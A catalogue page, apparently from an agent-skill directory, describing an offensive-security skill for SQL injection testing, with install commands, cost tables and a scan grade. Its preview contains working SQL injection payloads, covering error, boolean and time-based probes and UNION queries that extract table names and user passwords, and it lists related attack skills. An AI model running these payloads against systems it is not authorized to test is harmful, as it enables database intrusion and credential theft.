Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/sqli-manual-and-automatedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/sqli-manual-and-automated)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/sqli-manual-and-automated"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/sqli-manual-and-automated/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/sqli-manual-and-automated"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/sqli-manual-and-automated.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00076 | $0.02481 |
| Opus 5 | $0.00038 | $0.01241 |
| Sonnet 5 | $0.00015 | $0.00496 |
| Haiku 4.5 | $0.00008 | $0.00248 |
Grade A, and why
sqli-manual-and-automated scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 289 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SQL Injection — Manual & Automated
When to Use
- When testing web applications that interact with SQL databases
- When user input is reflected in database queries (search, login, filters, sorting)
- When you see database error messages in application responses
- When testing API endpoints that accept structured query parameters
- When login forms don't use parameterized queries
Prerequisites
- Burp Suite Pro/Community for request interception
sqlmapfor automated injection and extraction- Understanding of SQL syntax (MySQL, PostgreSQL, MSSQL, Oracle)
- Target must use a SQL database backend
Workflow
Phase 1: Detection & Fingerprinting
# Step 1: Inject special chars to trigger errors
# Single quote (most common)
https://target.com/product?id=1'
# Double quote
https://target.com/product?id=1"
# Semicolon (query stacking)
https://target.com/product?id=1;
# Comment markers
https://target.com/product?id=1--
https://target.com/product?id=1#
# Step 2: Boolean-based detection
# True condition (should return normal page):
https://target.com/product?id=1 AND 1=1
# False condition (should return different/empty page):
https://target.com/product?id=1 AND 1=2
# If responses differ → SQL injection confirmed
# Step 3: Time-based detection (for blind SQLi)
# MySQL:
https://target.com/product?id=1 AND SLEEP(5)--
# MSSQL:
https://target.com/product?id=1; WAITFOR DELAY '0:0:5'--
# PostgreSQL:
https://target.com/product?id=1; SELECT pg_sleep(5)--
# Step 4: Database fingerprinting
# MySQL: SELECT @@version
# MSSQL: SELECT @@version
# Oracle: SELECT banner FROM v$version
# PostgreSQL: SELECT version()
Phase 2: UNION-based Extraction
-- Step 1: Find number of columns
ORDER BY 1-- -- OK
ORDER BY 2-- -- OK
ORDER BY 3-- -- ERROR → 2 columns
-- Step 2: Find displayable columns
UNION SELECT NULL,NULL--
UNION SELECT 'a',NULL--
UNION SELECT NULL,'a'--
-- Step 3: Extract database info
-- MySQL:
UNION SELECT @@version, database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
UNION SELECT username,password FROM users--
-- PostgreSQL:
UNION SELECT version(), current_database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
-- MSSQL:
UNION SELECT @@version, DB_NAME()--
UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--
-- Oracle:
UNION SELECT banner,NULL FROM v$version--
UNION SELECT table_name,NULL FROM all_tables--
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 289 lines · 76 tokens per session scan A 8f0d8df9bdfe
sqli-manual-and-automated is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 76 tokens to every session and 2,481 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
advanced-sql-injection-sqli
Execute advanced SQL Injection attacks to bypass WAFs and extract data from complex architectures. Use this skill for Boolean-Based Blind, Time-Based Blind, Second-Order SQLi, and Out-of-Band (OOB) SQLi across MySQL, PostgreSQL, MSSQL, and Oracle.
django-sql-injection
Identify and exploit SQL Injection vulnerabilities in Django applications, specifically focusing on edge cases involving raw querysets (RawSQL), improper use of .extra(), and poorly sanitized filters where Django's typical ORM protections are bypassed.
webapp-sqlmap
Automated SQL injection detection and exploitation tool for web application security testing. Use when: (1) Testing web applications for SQL injection vulnerabilities in authorized assessments, (2) Exploiting SQL injection flaws to demonstrate impact, (3) Extracting database information for security validation, (4)…
exploiting-sql-injection-with-sqlmap
Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
hunt-sqli
Hunting skill for sqli vulnerabilities. Built from 12 public bug bounty reports including modern NoSQL injection (Rocket.Chat CVE-2021-22911 MongoDB $regex, Mongoose ORM CVE-2024-53900 $where bypass), modern ORM raw-fragment SQLi (Django CVE-2024-42005, Sequelize GHSA-wrh9-cjv3-2hpw), second-order SOQL injection…
performing-jwt-none-algorithm-attack
Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.